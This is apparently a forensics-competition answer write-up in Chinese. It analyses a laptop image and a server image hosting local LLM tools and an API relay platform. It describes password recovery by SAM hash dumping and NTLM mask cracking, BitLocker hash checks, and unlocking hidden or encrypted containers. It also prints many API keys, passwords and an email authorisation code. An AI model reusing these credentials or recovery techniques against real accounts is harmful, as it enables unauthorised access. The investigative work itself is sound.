关键依据（摘要）邮件附件 常用密码集合.docx（Office 加密），口令 nanjing（与 S21 中「VC的PW：南京」一致，msoffcrypto 校验通过）

题号3.57

答案com.leedbcje

耗时(分钟)122

关键依据（摘要）C:\\Foxmail 7.2\\apk（6 MiB）为 VeraCrypt 文件容器，口令即 S21 给出的 南京；挂载后内含 彩虹性趣8.apk，解析 AndroidManifest 得包名

题号3.58

答案待定

耗时(分钟)—

关键依据（摘要）名单在 VMware 虚拟机磁盘（25 GB）内，受 ges 复制限额卡住

逐题解析

3.25 CPU 型号

火眼解析节点 /case/3/基本信息/系统信息/data.csv 第 14 行：\"处理器,CPU,12th Gen Intel(R) Core(TM) i7-12700H\"；硬件信息中另有 Samsung Portable SSD T5、Intel(R) Innovation Platform Framework 等条目佐证机型为一台联想（固件 LENOVO，固件版本 J2CN32WW）笔记本。 答案： i7-12700H

3.26 移动硬盘 D 盘的盘符（卷标）名称

/case/3/win10通知/Windows.SystemToast.AutoPlay/data.csv 第 2 行：2026-09-20 14:59:29 的 Windows 自动播放通知内容为「‪Samsung\_T5 (D:)‬ 点击以选择要对可移动驱动器进行的操作。 」——括号内即卷标。补充印证：/case/3/基本信息/USB设备信息/data.csv：Samsung Portable SSD T5 SCSI Disk Device，序列号 4080A8654321，USB\VID04E8&PID61F5，首次接入 2026-09-20 14:57:36，最后弹出 18:25:58，服务 UASPStor；/case/3/基本信息/硬件信息中该设备实例名即为 Samsung\_T5。 答案： Samsung\\_T5

3.27 开机密码

火眼\"用户列表\"中 pc 账户没有口令记录，注册表（SYSTEM/SOFTWARE）中不存在明文 Autologon 口令，便笺/记事本/输入法词库/邮件均无明文；因此按口令恢复流程处理：把 /evidence\_mounts/…/Windows/System32/config/SYSTEM 与 SAM 用 ges copy 复制到工作区（原始检材只读），用 impacket 的 LocalOperations+SAMHashes 导出哈希（bootkey f175d721a300b63a5a57c855956245f9）：

CODE

pc:1001:aad3b435b51404eeaad3b435b51404ee:bb552c1772ea2b18fcb8abd75fba66e5:::

再以 NTLM（MD4）本地掩码爆破（1~8 位纯数字）命中 6 位数字口令；用 260919 复算 NTLM 得 bb552c1772ea2b18fcb8abd75fba66e5，与 SAM 记录完全一致。 答案： 260919

3.28 曾连接过的远程桌面地址

/case/3/远程桌面/本机远程连接过的记录/data.csv：2026-09-20 14:53:54 / 14:54:21 / 14:54:38 三次连接失败，14:57:21 连接成功，对方 IP 均为 103.87.9.67、对方主机名 CLOUD2012R2；/case/3/远程桌面/本机连接过的设备/data.csv：对方 IP 103.87.9.67、端口 3389、登录账户 CLOUD2012R2/administrator（源文件 Microsoft-Windows-TerminalServices-RDPClient/Operational.evtx）。 答案： 103.87.9.67

3.29 WSL 版本

/case/3/基本信息/安装软件/安装软件/data.csv：「Windows Subsystem for Linux，2.7.14.0，Microsoft Corporation」（安装/更新记录 2026-09-20 12:17:46）。PowerShell 历史（/case/3/基本信息/终端历史记录/PowerShell/data.csv）中有 wsl --install、wsl -l -v、wsl --version，佐证曾使用并查询版本。 答案： 2.7.14.0

3.30 WSL 中部署的大模型推理引擎名称与版本

/Users/pc/WorkBuddy/2026-09-15-10-11-06/.workbuddy/memory/2026-09-15.md（该机 AI 助手的部署工作日志）第八轮记录：\"✅ 部署成功（12:05 服务起，12:26 端到端验证通过）…最终可用配置：MAXLEN=2048 / GPUUTIL=auto(≈0.79) / EAGER=1 / transformers 4.57.6\"，同文\"环境版本快照（可复用）：torch 2.8.0+cu128 / vllm 0.11.0 / transformers 5.17.0(→4.57.6) / tokenizers 0.23.2(→0.23.0) / Python 3.12.14\"。部署脚本 WorkBuddy/2026-09-15-10-11-06/vllm-wsl/deploy.sh 与 Desktop/vllm/ 副本中回退版本亦为 vllm==0.11.0；服务为 OpenAI 兼容接口 http://localhost:8000/v1。 答案： vllm-0.11.0

3.31 参数量 1.7B 模型设置的最大上下文长度（max-model-len）

/Users/pc/Desktop/vllm/serve.sh.bak-20260916（2026-09-16 被覆盖前的版本，当时默认模型即 1.7B）第 19、22 行：

CODE

MODEL=\"${MODEL:-Qwen/Qwen3-1.7B}\"

MAX\_LEN=\"${MAX\_LEN:-2048}\"

与部署日志\"最终可用配置：MAX\_LEN=2048 / … model 名 Qwen/Qwen3-1.7B\"一致；日志另记\"用户已自行从 1.7B/2048 切到 0.6B 并放大上下文\"（0.6B 阶段为 16384），以及一次显存不足自动降档到 2304 的中间过程。 答案： 2048

3.32 安装使用的 CUDA 版本

同上日志：\"torch 2.8.0+cu128\"，即 vLLM 采用 cu128 变体；日志第 1 节：\"NVIDIA 驱动 573.24（CUDA 12.8）\"；README.md 第 3 节说明驱动 573.24 = CUDA 12.8，故 deploy.sh 走 cu128 路线。 答案： 12.8

3.33 部署的 ASR 模型个数

Windows 侧 ASR 系统目录 /Users/pc/ASR/models/ 内为 SenseVoiceSmall（model.pt 936 MB）、Qwen3-ASR-1.7B（两个 safetensors 分片共 4.7 GB）、fsmn-vad（1.7 MB，语音端点检测/辅助模型）。/Users/pc/ASR/common.py 的 MODEL\_DIRS 与 MODELSCOPE\_REPOS 将三者分别标注为 sensevoice、sensevoice\_vad、qwen3asr，其中真正意义上的 ASR 模型为 SenseVoiceSmall 与 Qwen3-ASR-1.7B 两个；engines/ 只注册这两个 ASR 引擎（sensevoice.py、qwen3asr.py），应用界面横幅亦写作\"SenseVoice·Qwen3-ASR-1.7B\"。 答案： 2（若按 models/ 目录个数口径则为 3，含 VAD 辅助模型）

3.34 ASR 系统的服务器地址与端口

/Users/pc/ASR/config.json：

JSON

\"server\": { \"host\": \"127.0.0.1\", \"port\": 8765, \"open\_browser\": true }

/Users/pc/ASR/scripts/start.py 第 125-127 行按该配置拼接并打印：url = f\"http://{'127.0.0.1' if host in ('0.0.0.0','::') else host}:{port}\"。本人另已在本机用检材自带的 SenseVoiceSmall 模型（funasr，CPU）实跑转录成功，验证该系统可用。 答案： http://127.0.0.1:8765

3.35 用于测试 ASR 系统的文件中的密码

C:\Users\pc\Downloads\voice.rar（对应邮件「bitlocker pw inside」里的 wss 链接，2026-09-17 18:06 下载）解出 313 个 wav。用检材自带 SenseVoiceSmall 模型全量转录后发现：312 个是普通语料朗读，唯一例外是 1 (21).wav —— 它实际是 MP3（FF FB 开头）并在 639,360 字节后附加了 JSON 特征数据，因此常规播放器与 ASR 都打不开（它正是\"被标记\"的那个）。将文件截断到 MP3 数据尾部后解码再转录，得到密码明文：

密部联密码是20260915，加密盘的密码是20260915。

用 20260915 对图片.vhd 的 BitLocker User-Password 哈希校验：1 password hash cracked。 答案： 20260915

3.36 加密盘原始文件名称

/Users/pc/Desktop/图片.vhd（1,073,742,336 B = 1 GiB，2026-09-20 12:00:39）：复制后校验 —— 文件尾 512 B 起始为 conectix（VHD 页脚），偏移 16777220、77709313、169869313、287309825 处均出现 FVE-FS（BitLocker 元数据签名）；bitlocker2john -i 输出 \"Encrypted device … opened, size 1024MB\"、\"VMK encrypted with User Password found\"、\"VMK encrypted with Recovery Password found\"，即内含 BitLocker 加密卷。旁证：邮件（/case/3/Foxmail/…/邮件/收件箱/data.csv 第 10 行）主题「bitlocker pw inside」称\"我用 wss 发你链接，你记得及时下载\"，与\"加密盘+口令\"链条吻合。 答案： 图片.vhd

3.37 / 3.38 / 3.39（加密盘内的 AI 图片）

解锁图片.vhd 后，卷内素材目录恰为 30 张图片 S01–S30（9 jpg + 19 png + 2 webp），与邮件\"三十张图片\"吻合。

逐张提取元数据可见其分别出自不同大模型（均来自图片自身的 EXIF/XMP/PNG 文本块）：S01 Dreamina、S02 ERNIE-ViLG 3.0、S03 Kolors、S04 SenseMirage 2.0、S05 Midjourney、S06 Hunyuan Image 3.0（腾讯混元） 、S07 CogView-4、S08 SparkDesk-ImageGen、S09 DreamStudio、S10/S30 Adobe Firefly、S11/S12 SD WebUI、S13/S14 ComfyUI、S15 NovelAI(SDXL)、S16 Tongyi Wanxiang(wanx-v1)、S17/S22–S25 其它（含 AIGC 标识）、S20 Photoshop Generative Fill、S26 Microsoft Designer、S27 Nikon 相机、S28/S29 无软件字段。

3.38 答案： S06.png（tEXt 中 Software = Hunyuan Image 3.0）。

3.39（隐藏信息） ：S21.png 结构异常 —— IHDR 的 CRC 与计算值不符（stored 27719242 vs 计算 18C13523），导致所有图像库/OCR 拒识。逐块解析发现：该图 IDAT 解压后为 6,292,480 字节 = 1536×1024 行像素数据，而 IHDR 把 height 改成 1000，即底部 24 行（147,480 字节）被隐藏；把 height 改回 1024 后重算 CRC 恰等于文件里存的 27719242，反证原始高度就是 1024。在副本上恢复高度后裁出底部条带放大识别，得到隐藏文字：

VC的PW：南京（逐字置信度 0.99998）

3.39 答案： 南京（拉丁写法即 nanjing）

3.40 其它本地大模型部署工具及版本

/case/3/基本信息/安装软件/安装软件/data.csv：「Ollama version 0.34.0，0.34.0，Ollama，安装路径 C:/Users/pc/AppData/Local/Programs/Ollama/」；/case/3/ShimCache/data.csv 第 462-465 行记录 llama-server.exe、ollama.exe、ollama app.exe 的执行痕迹；/case/3/基本信息/可执行程序/data.csv 第 312/313/538/539 行与之对应。全盘未见 LM Studio / llama.cpp 独立版 / GPT4All 等其它本地部署工具（名称含 studio 的仅 Visual Studio 与 node\_modules 内的无关文件）。 答案： ollama-0.34.0

3.41 上述工具部署的模型 ID

/Users/pc/.ollama/config.json：

JSON

{ \"integrations\": {}, \"last\_model\": \"qwen:7b\", \"last\_selection\": \"run\" }

清单文件 /Users/pc/.ollama/models/manifests/registry.ollama.ai/library/qwen/7b（856 B）与 blob（model 4.5 GB）齐全；PowerShell 历史第 14 行为 ollama pull qwen:7b；/case/3/Edge浏览器/历史记录亦有 ollama 相关访问与\"ollama 部署本地模型\"检索。 答案： qwen:7b

3.42 邮箱软件登录的邮箱账号

/case/3/Foxmail/[email protected]/账户信息/data.csv：账户名称 [email protected]，接收服务器 imap.163.com:993，发送服务器 smtp.163.com:465（Foxmail 7.2.25.563，安装路径 C:/Foxmail 7.2）。收件箱另有网易邮箱的\"手机号码邮箱已开通\"\"新设备登录提醒\"等通知（2026-09-17 16:48-16:51）。 答案： [email protected]

3.43 邮箱客户端登录用的授权码

同一文件\"账户密码\"字段值 JUgd5cjHGXvSzMN3（163 邮箱 IMAP/SMTP 客户端授权码，与收件服务器/发送服务器同处一行）。 答案： JUgdHGXvSzMN3 的原值： JUgd5cjHGXvSzMN3

3.44 以太坊钱包应用名称

/case/3/Edge浏览器/扩展程序/data.csv 第 11 行：MetaMask，13.44.0.0，浏览器中的以太坊钱包；历史记录第 181-182 行有 chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/home.html#/onboarding/create-password（2026-09-17 10:57:52），IndexedDB 中应用元数据显示 \"currentAppVersion\":\"13.44.0\"。 答案： MetaMask

3.45 钱包助记词第一个单词

待定：助记词位于 MetaMask IndexedDB 的 vault 密文中。已取得的结构（…/IndexedDB/chrome-extension\_ejbalbakoplchlghecdalmeeeajnimhm\_0.indexeddb.leveldb/000003.log）：

JSON

{\"data\":\"xbhhwg698bM//vnXk/…（base64 密文）\",\"iv\":\"teY9/1g9j9VV29WZxS0lJg==\",

\"keyMetadata\":{\"algorithm\":\"PBKDF2\",\"params\":{\"iterations\":600000}},

\"salt\":\"9wEEdTK9JkG1IOsLkhBjDh/ByPOgY2keCVHpRlrmUfA=\"}

另有一份同 salt 的备份 vault。钱包创建事件（Wallet Creation Attempted / Wallet Created / Wallet Setup Completed）时间戳为 2026-09-17T03:00:54.412Z（本地 11:00:54）。已用候选口令（含 3.27 的 260919、WSL sudo 112233 等）试解未成功，需等 3.35/3.39/3.56 的口令复用验证。

3.46 Ethereum 地址后四位

同一 LevelDB 日志中明文出现 0x7073bc032797ebf7ff87b4d1c73a44841b4d0e42（多处，含 MetaMask 遥测 analyticsId 字段）。 答案： 0e42（完整地址 0x7073bc032797ebf7ff87b4d1c73a44841b4d0e42）

3.47 Deepseek Harness 的工作区文件夹名称

/Users/pc/.dsh/storages/workspace.json：

JSON

\"23ce4b2b-e71e-4493-973b-039f899a812d\": { \"path\": \"C:\\Users\\pc\\Documents\", \"title\": \"Documents\", … }

即 dsh 注册的唯一工作区为 Documents；会话文件存放于 sessions/--C-Users-pc-Documents--/（3 个会话）。 答案： Documents

3.48 Deepseek Harness 配置的 API Key

/Users/pc/.dsh/.credentials.yaml：

YAML

refs:

DEEPSEEK\_API\_KEY: sk-47e986fb09b34d74a33a76d376658409

（同文件另存有 client-connection/browser-session 的 grant secret，与 API Key 无关；Desktop/dsh/dsh-web.log 中的 token=… 是 Web UI 访问令牌，也不是 API Key。） 答案： sk-47e986fb09b34d74a33a76d376658409

3.49 \"虚拟货币一般用于洗钱都是怎么操作的\"的 rpcID

会话 …/.dsh/sessions/--C-Users-pc-Documents--/session-8a014603-93e8-4f87-880b-c024abb420e9/session.v3.jsonl.zstd（zstd 解压后）中：

POINT 1agent/inbox/spliced（seq 25）与 user/message（seq 29）两处携带该提问文本虚拟货币一般用于洗钱都是怎么操作的，其 source.rpcId 均为 132fb7ca-b49f-42f5-9fdc-751072190bd5，时区 Asia/Shanghai、时间戳 1789875361（ms）。 答案： 132fb7ca-b49f-42f5-9fdc-751072190bd5

3.50 该轮对话的推理输出 token

同会话紧接的 assistant/message（seq 30，turn 3 / step 1）usage：

JSON

{\"inputTokens\":158,\"outputTokens\":1064,\"totalTokens\":9670,\"cacheReadTokens\":8448,\"reasoningTokens\":296}

答案： 296

3.51 部署的 OpenCode 版本号

/Users/pc/Documents/node-v22.22.2-win-x64/node\_modules/opencode-ai/package.json：\"version\": \"1.18.31\"（optionalDependencies 各平台包版本亦为 1.18.31）。该机 AI 助手长期记忆 /Users/pc/WorkBuddy/2026-09-16-13-48-37/.workbuddy/memory/MEMORY.md 记：\"OpenCode 1.18.31 已在新 node 下重装…验证通过：opencode 1.18.31 可从 PATH 直接调用\"。注意：/case/3/基本信息/可执行程序/data.csv 中 opencode.exe 显示\"版本 1.3.14、公司 oven\"——那是编译该二进制的 Bun 运行时版本，不是 OpenCode 版本。 答案： 1.18.31

3.52 OpenCode 配置连接了几个模型

/Users/pc/.config/opencode/opencode.jsonc 中 provider vllm（@ai-sdk/openai-compatible，baseURL http://localhost:8000/v1）的 models 仅两项：Qwen/Qwen3-1.7B、Qwen/Qwen3-0.6B（各带 limit.context/output）。 答案： 2

3.53 手动添加的 Skill 名称

/Users/pc/.config/opencode/skills/ 下唯一技能目录 fraud-domain-ip-trace，其 SKILL.md front-matter：name: fraud-domain-ip-trace、display\_name: \"域名与 IP 溯源\"、version: 1.0.0、agent\_created: true。 答案： fraud-domain-ip-trace

3.54 用该 Skill 获取信息的涉赌网站

…/skills/fraud-domain-ip-trace/scripts/forensics-out/bctop10.com/trace-20260917-173116.md（同名 .json 一并存在）：报告\"案件标识：bctop10.com、查询目标：bctop10.com\"，内容为 RDAP 注册信息 / DNS 解析 / IP 归属 / 快照哈希。PowerShell 历史第 39-40 行 python trace.py -domain bctop10.com。 答案： bctop10.com

3.55 截至使用 Skill 时该网站域名注册天数

同一报告：\"注册时间 2025-03-03T08:33:33Z\"、\"生成时间 2026-09-17T17:30:43+08:00\"（文件名时间戳 20260917-173116），差值 563.04 天，向下取整。 答案： 563

3.56 用于日后给其他项目加密的密码字典的打开密码

字典实体常用密码集合.docx（14,848 B）为 Office 加密文档（CFB + EncryptionInfo/EncryptedPackage）。用 S21 隐藏信息给出的口令试解，msoffcrypto 校验通过：

CODE

MATCH! password='nanjing'

答案： nanjing（与图片中「VC的PW：南京」一致；邮件亦写\"加密也能用这个呢\"）

3.57 敏感 APK 的包名

C:\Foxmail 7.2\apk（6,291,456 B）经试挂确认是 VeraCrypt 文件容器：用 3.39 给出的口令南京（Unicode 形式，非 \"nanjing\"）由 VeraCrypt 成功挂载，容器内只有一个文件：

CODE

V:\彩虹性趣8.apk 4,738,112 B

取出副本（未改动检材）后解析其 AndroidManifest.xml（AXML）与 classes.dex：

POINT 1字符串池中 package 属性值 = com.leedbcje；

POINT 2组件名 com.leedbcje.abfeacdbehc（activity）、com.leedbcje.bjajaffeeit、com.leedbcje.bbhcageieat、com.leedbcje.autosize-init-provider 均以该包名为前缀；

POINT 3classes.dex 中 leedbcje 出现 97 次；

POINT 4应用内置高德定位 SDK（com.amap.api.location.APSService、api key 71a28bdf2f970932182fa20b4cfaff53）与蒲公英（Pgyer）密钥，并申请 READSMS/CALLPHONE/精确定位/REQUESTINSTALLPACKAGES 等权限，与\"敏感应用\"特征相符。

答案： com.leedbcje

3.58 人员名单中编号 1 的住址

待定：名单不在邮件附件 Desktop.rar 的 6 个 docx 中（已逐份解析），应在 VMware 虚拟机「名单」的磁盘内（主盘 23.44 GiB）；当前 ges copy 受限额/超时限制无法取出大文件，需换路径。

第三部分：服务器取证

SECTION

提示：分析办案人员提取的“服务器镜像.E01”回答下列问题：

答案与完成时间速查表

完成时间＝自会话开始（13:56）累计分钟数，依据会话内各条命令的时间戳推算；\"耗时\"指该题从开始分析到取得可信答案所用的时间。全流程 30 题合计约 20 分钟（含仿真接入与加固盘解锁）。

题号 · 答案 · 完成时间（累计） · 单题耗时

题号4.59

答案Ubuntu 22.04.5 LTS

完成时间（累计）5 分钟

单题耗时5 分钟

题号4.60

答案ea044f8e-b4ad-4151-a508-135bf5e57a94

完成时间（累计）6 分钟

单题耗时1 分钟

题号4.61

答案5adf0f

完成时间（累计）8 分钟

单题耗时2 分钟

题号4.62

答案2af0c70468cb8dc60e7b17c692d56d4d

完成时间（累计）8 分钟

单题耗时<1 分钟

题号4.63

答案3001

完成时间（累计）10 分钟

单题耗时2 分钟

题号4.64

答案12345678

完成时间（累计）10 分钟

单题耗时<1 分钟

题号4.65

答案162

完成时间（累计）12 分钟

单题耗时2 分钟

题号4.66

答案58698bedc6dc4cec843279c6f8af606d.IWW6vmNn7kYurMQ0

完成时间（累计）9 分钟

单题耗时1 分钟

题号4.67

答案neko@123456

完成时间（累计）11 分钟

单题耗时3 分钟

题号4.68

答案0.1.1-rc.2

完成时间（累计）12 分钟

单题耗时1 分钟

题号4.69

答案sk-2177516d95314bcb87467626b7b43623

完成时间（累计）12 分钟

单题耗时<1 分钟

题号4.70

答案5

完成时间（累计）13 分钟

单题耗时1 分钟

题号4.71

答案Jelly@666

完成时间（累计）12 分钟

单题耗时2 分钟

题号4.72

答案OpenAI

完成时间（累计）13 分钟

单题耗时1 分钟

题号4.73

答案bcrypt

完成时间（累计）13 分钟

单题耗时1 分钟

题号4.74

答案6200

完成时间（累计）11 分钟

单题耗时1 分钟

题号4.75

答案3428685

完成时间（累计）12 分钟

单题耗时1 分钟

题号4.76

答案redroid12\_x86\_64

完成时间（累计）16 分钟

单题耗时3 分钟

题号4.77

答案纯记账

完成时间（累计）17 分钟

单题耗时1 分钟

题号4.78

答案-75803.81

完成时间（累计）15 分钟

单题耗时2 分钟

题号4.79

答案AccountBook.db

完成时间（累计）15 分钟

单题耗时<1 分钟

题号4.80

答案borrowing3.png

完成时间（累计）15 分钟

单题耗时<1 分钟

题号4.81

答案Laravel-12.67.0

完成时间（累计）17 分钟

单题耗时2 分钟

题号4.82

答案3%

完成时间（累计）17 分钟

单题耗时<1 分钟

题号4.83

答案AKTl23456789abcdefghijklmnopqrstuvwxyz

完成时间（累计）17 分钟

单题耗时<1 分钟

题号4.84

答案4567891230abcdef1234567890abcdef

完成时间（累计）17 分钟

单题耗时<1 分钟

题号4.85

答案wx9a2b3c4d5e6f7890

完成时间（累计）17 分钟

单题耗时<1 分钟

题号4.86

答案9

完成时间（累计）18 分钟

单题耗时1 分钟

题号4.87

答案影视动漫双平台月卡平台担保

完成时间（累计）18 分钟

单题耗时1 分钟

题号4.88

答案52707.46

完成时间（累计）18 分钟

单题耗时<1 分钟

逐题解析

4.59 操作系统版本（完成时间：5 分钟）

POINT 1答案：Ubuntu 22.04.5 LTS

POINT 2解析：仿真机启动后执行 cat /etc/os-release，显示 PRETTY\_NAME=\"Ubuntu 22.04.5 LTS\"、VERSION\_ID=\"22.04\"、VERSION\_CODENAME=jammy；内核 6.8.0-138-generic。虚拟机配置 vm.vmx 的 guestInfo.detailed.data 亦记录 distroName='Ubuntu' distroVersion='22.04' prettyName='Ubuntu 22.04.5 LTS'，两者一致。

POINT 3来源：仿真机 /etc/os-release、/proc/version；E:\forensicWorkstation\2026精武杯\VM\服务器镜像.E01\vm.vmx

4.60 根文件系统 UUID（完成时间：6 分钟）

POINT 1答案：ea044f8e-b4ad-4151-a508-135bf5e57a94

POINT 2解析：/etc/fstab 中 UUID=ea044f8e-b4ad-4151-a508-135bf5e57a94 / ext4 errors=remount-ro 0 1（注释行注明 / was on /dev/sda2 during installation）；blkid 亦显示 /dev/sda2: UUID=\"ea044f8e-b4ad-4151-a508-135bf5e57a94\" TYPE=\"ext4\"。注意与 /boot/efi（EBE9-8010）、swap（d718cd9d-…）、/srv（312f1525-…，LABEL=bootplain）区分。

POINT 3来源：/etc/fstab、blkid、lsblk -f

4.61 运维面板安全入口（完成时间：8 分钟）

POINT 1答案：5adf0f

POINT 3来源：/xp/db/app.db(panel\_cfgs)、/xp/panel/app.log、systemctl status xpd（服务 xpd.service，/xp/panel/app）

4.62 面板管理员密码哈希（完成时间：8 分钟）

POINT 1答案：2af0c70468cb8dc60e7b17c692d56d4d

POINT 2解析：sqlite3 -readonly /xp/db/app.db \"select \* from users;\" → 账户 xiaopi，password = 2af0c70468cb8dc60e7b17c692d56d4d（32 位小写十六进制，MD5 形态），与题目要求的 32 位 MD5 哈希一致。记录创建时间 2026-09-18 11:36:05。

POINT 3来源：/xp/db/app.db(users)

4.63 知识库监听端口（完成时间：10 分钟）

POINT 1答案：3001

POINT 2解析：该服务器以容器方式部署 AnythingLLM 知识库（镜像 localhost:5055/kb:116，容器名 kb，host 网络模式）。ss -lntp 显示 LISTEN 0 511 \*:3001 users:((\"node\",pid=2234))，/proc/2234/cmdline 为 node /app/server/index.js，其 cgroup 属于 libpod-030aea1757b7…-kb 容器，容器内 /app/server/package.json 的 name 为 anything-llm-server；/opt/anythingllm\_DEPLOY.md 亦载明接口为 curl http://127.0.0.1:3001/api/v1/workspaces。

POINT 3来源：ss -lntp、/proc/2234/{cmdline,cgroup}、容器 kb /app/server/package.json、/opt/anythingllm\_DEPLOY.md

4.64 知识库登录密码（完成时间：10 分钟；容器源码复核 14:13）

POINT 1答案：12345678

POINT 2解析：AnythingLLM 以单用户模式（非多用户模式）运行，登录口令取自环境变量 AUTH\_TOKEN。/opt/anythingllm/storage/.env（bind 到容器 /app/server/.env）中 AUTH\_TOKEN='12345678'；容器内 /app/server/endpoints/system.js 单用户登录分支以 bcrypt.compareSync(password, bcrypt.hashSync(process.env.AUTH\_TOKEN, 10)) 校验输入口令，即登录密码就是 AUTH\_TOKEN 的值。

POINT 3来源：/opt/anythingllm/storage/.env、容器 kb /app/server/endpoints/system.js

4.65 LanceDB 向量数量（完成时间：12 分钟）

POINT 1答案：162

POINT 2解析：向量库目录 /opt/anythingllm/storage/lancedb/784eddda-19ae-42b2-b8ca-f8d6e856f918.lance（与 anythingllm.db 的 workspaces.slug 同名）。在 kb 容器内用其自带的 @lancedb/lancedb 打开该表执行 countRows()，返回 COUNT 162；与元数据表 document\_vectors 的记录数（162，对应 32 篇工作区文档的分块）一致。

POINT 3来源：容器 kb 内 @lancedb/lancedb countRows()；/opt/anythingllm/storage/anythingllm.db

4.66 智谱 API Key（完成时间：9 分钟）

POINT 1答案：58698bedc6dc4cec843279c6f8af606d.IWW6vmNn7kYurMQ0

POINT 2解析：/opt/anythingllm/storage/.env 中 LLM\_PROVIDER='zai'、ZAI\_MODEL\_PREF='glm-5.3-flash'、ZAI\_API\_KEY='58698bedc6dc4cec843279c6f8af606d.IWW6vmNn7kYurMQ0'（zai 即智谱 AI 平台）。

POINT 3来源：/opt/anythingllm/storage/.env

4.67 LUKS 加密卷解密密码（完成时间：11 分钟）

POINT 1答案：neko@123456

POINT 2解析：/etc/crypttab 记录 #data\_crypt UUID=27dd01f7-90d5-47c2-8056-1c484baa62a0 none luks，blkid 显示 /dev/sda3: UUID=\"27dd01f7-90d5-47c2-8056-1c484baa62a0\" TYPE=\"crypto\_LUKS\"。口令并非明文存放于脚本（/usr/local/sbin/unlock-data 为交互式 read -rs 输入），而是记录在知识库文档中：AnythingLLM 隐藏文档常用密码本.md（/opt/anythingllm/storage/documents/custom-documents/.md-c7955f1d-a754-490d-8e67-fb296afcad6a.json，源路径 file:///app/collector/hotdir/常用密码本.md）第 35 行原文为 | 35 | LUKS-Disk | neko@123456 |，其余条目均为 203.0.113.x 测试网段干扰数据。

POINT 3实测验证：printf '%s' 'neko@123456' | cryptsetup open --test-passphrase --key-file=- /dev/sda3 返回 test-exit=0（口令正确），随后以只读方式成功解锁并挂载该卷（cryptsetup open --readonly）。

POINT 4来源：/etc/crypttab、blkid、/opt/anythingllm/storage/documents/custom-documents/.md-c7955f1d-….json、cryptsetup --test-passphrase

4.68 dsh（DeepSeek Harness）版本号（完成时间：12 分钟）

POINT 1答案：0.1.1-rc.2

POINT 2解析：dsh 以容器方式运行（容器名 dsh，镜像 docker.m.daocloud.io/library/node:22-bookworm，/opt/dsh/repo 挂载为 /repo）。/opt/dsh/repo/package.json 为 @deepseek-ai/dsh-root version 0.1.1-rc.2；/opt/dsh/repo/apps/cli/package.json 为 @deepseek-ai/dsh version 0.1.1-rc.2；Web 前端 @deepseek-ai/dsh-web-frontend 同为 0.1.1-rc.2。

POINT 3来源：/opt/dsh/repo/package.json、/opt/dsh/repo/apps/{cli,web}/package.json、podman inspect dsh

4.69 dsh 配置的 DeepSeek API Key（完成时间：12 分钟）

POINT 1答案：sk-2177516d95314bcb87467626b7b43623

POINT 2解析：容器 dsh 将宿主 /opt/dsh/dsh-home/.dsh 绑定为容器内 /root/.dsh；/opt/dsh/dsh-home/.dsh/.credentials.yaml 内容为 refs: DEEPSEEK\_API\_KEY: sk-2177516d95314bcb87467626b7b43623；settings.yaml 中 llm-deepseek.baseURL: https://api.deepseek.com（官方直连）。

POINT 3来源：/opt/dsh/dsh-home/.dsh/.credentials.yaml、.dsh/settings.yaml

4.70 dsh 用户安装插件数量（完成时间：13 分钟）

POINT 1答案：5

POINT 2解析：dsh 的 web profile 依赖清单 /opt/dsh/dsh-home/.dsh/profiles/web/package.json（dsh-profile-web）中 dependencies 共 5 项：dshmarket@^1.32.0、dsh-better-sidebar@^0.16.1、dsh-dream-skin@^0.4.15、dsh-skill-hub@^0.2.6、@dhicoc/dsh-reverse-skill@^1.0.5；@deepseek-ai/dsh-base、@deepseek-ai/dsh-web-app 属内置基础 bundle，不计为用户插件。

POINT 3来源：/opt/dsh/dsh-home/.dsh/profiles/web/package.json

4.71 API 中转站管理员 Jelly 的登录密码（完成时间：12 分钟）

POINT 1答案：Jelly@666

POINT 2解析：中转站为 new-api（容器 new-api，镜像 calciumion/new-api:latest），业务数据在 LUKS 卷 /data。/data/new-api/mm.txt 明文记录账号：Jelly 密码：Jelly@666（该文本的另一份副本以 base64 形式存于 /home/neko/.cache/vmware/drag\_and\_drop/Brgizr/mm.txt，解码同为账号：Jelly 密码：Jelly@666）。数据库 new-api.users（id=1，username=Jelly，role=100）存储 bcrypt 哈希 $2a$10$1.NBDMdybV/9uue/IA0oG.tM8xulOfC95YzqK4rH8EPgAVV3U58xO，以 PHP password\_verify('Jelly@666', <该哈希>) 校验返回 true，与明文记录互相印证。

POINT 3来源：/data/new-api/mm.txt、/home/neko/.cache/vmware/drag\_and\_drop/Brgizr/mm.txt、MySQL 库 new-api 表 users、PHP password\_verify

4.72 启动模型中供应商数量最多者（完成时间：13 分钟）

POINT 1答案：OpenAI（7 个模型）

POINT 2解析：new-api 库 models 表（共 29 条、status=1）与 vendors 表（13 个供应商）按 vendor\_id 分组统计：OpenAI 7 个（gpt-4o、gpt-4o-mini、gpt-4.1、gpt-4.1-mini、gpt-5.5、o3、o4-mini），Anthropic 4 个，DeepSeek 3 个，阿里云 3 个，Google/智谱AI/Moonshot AI 各 2 个，其余 6 家各 1 个；按 abilities 表（31 条 group-model-channel 记录）去除重复渠道后的口径同为 OpenAI 最多（7 个模型）。注：本题答案格式示例为 TuoJie，本检材供应商表中不含该名称，实际最多者为 OpenAI。

POINT 3来源：MySQL 库 new-api 表 models、vendors、abilities、channels

4.73 用户密码存储使用的哈希算法（完成时间：13 分钟）

POINT 1答案：bcrypt

POINT 2解析：new-api.users.password 全部为 $2a$10$… 前缀（bcrypt，cost=10）；以 PHP password\_verify('Jelly@666', '$2a$10$1.NBDMdybV/9uue/IA0oG.tM8xulOfC95YzqK4rH8EPgAVV3U58xO') 返回 true，证明存储值确为 bcrypt 哈希。

POINT 3来源：MySQL 库 new-api 表 users、PHP password\_verify 校验

4.74 平台注册用户总数（完成时间：11 分钟）

POINT 1答案：6200

POINT 2解析：SELECT COUNT(\*) FROM users;（库 new-api）返回 6200。用户数据量较大（含 id 1 管理员 Jelly 及大量普通用户）。

POINT 3来源：MySQL 库 new-api 表 users

4.75 消费记录单笔最大额度（完成时间：12 分钟）

POINT 1答案：3428685

POINT 2解析：logs 表按类型统计：type=1（充值，1295 条，最大 4000000）、type=2（消费，66058 条，最大 3428685）等。取消费类 SELECT id,user\_id,model\_name,quota FROM logs WHERE type=2 ORDER BY quota DESC LIMIT 1 → id=65044，user\_id=2005，模型 claude-opus-4-7，quota=3428685。注意：全局最大 quota 4000000 属充值类（type=1）且并列多条，不能作为本题答案。

POINT 3来源：MySQL 库 new-api 表 logs

4.76 云手机设备名称（完成时间：16 分钟）

POINT 1答案：redroid12\_x86\_64

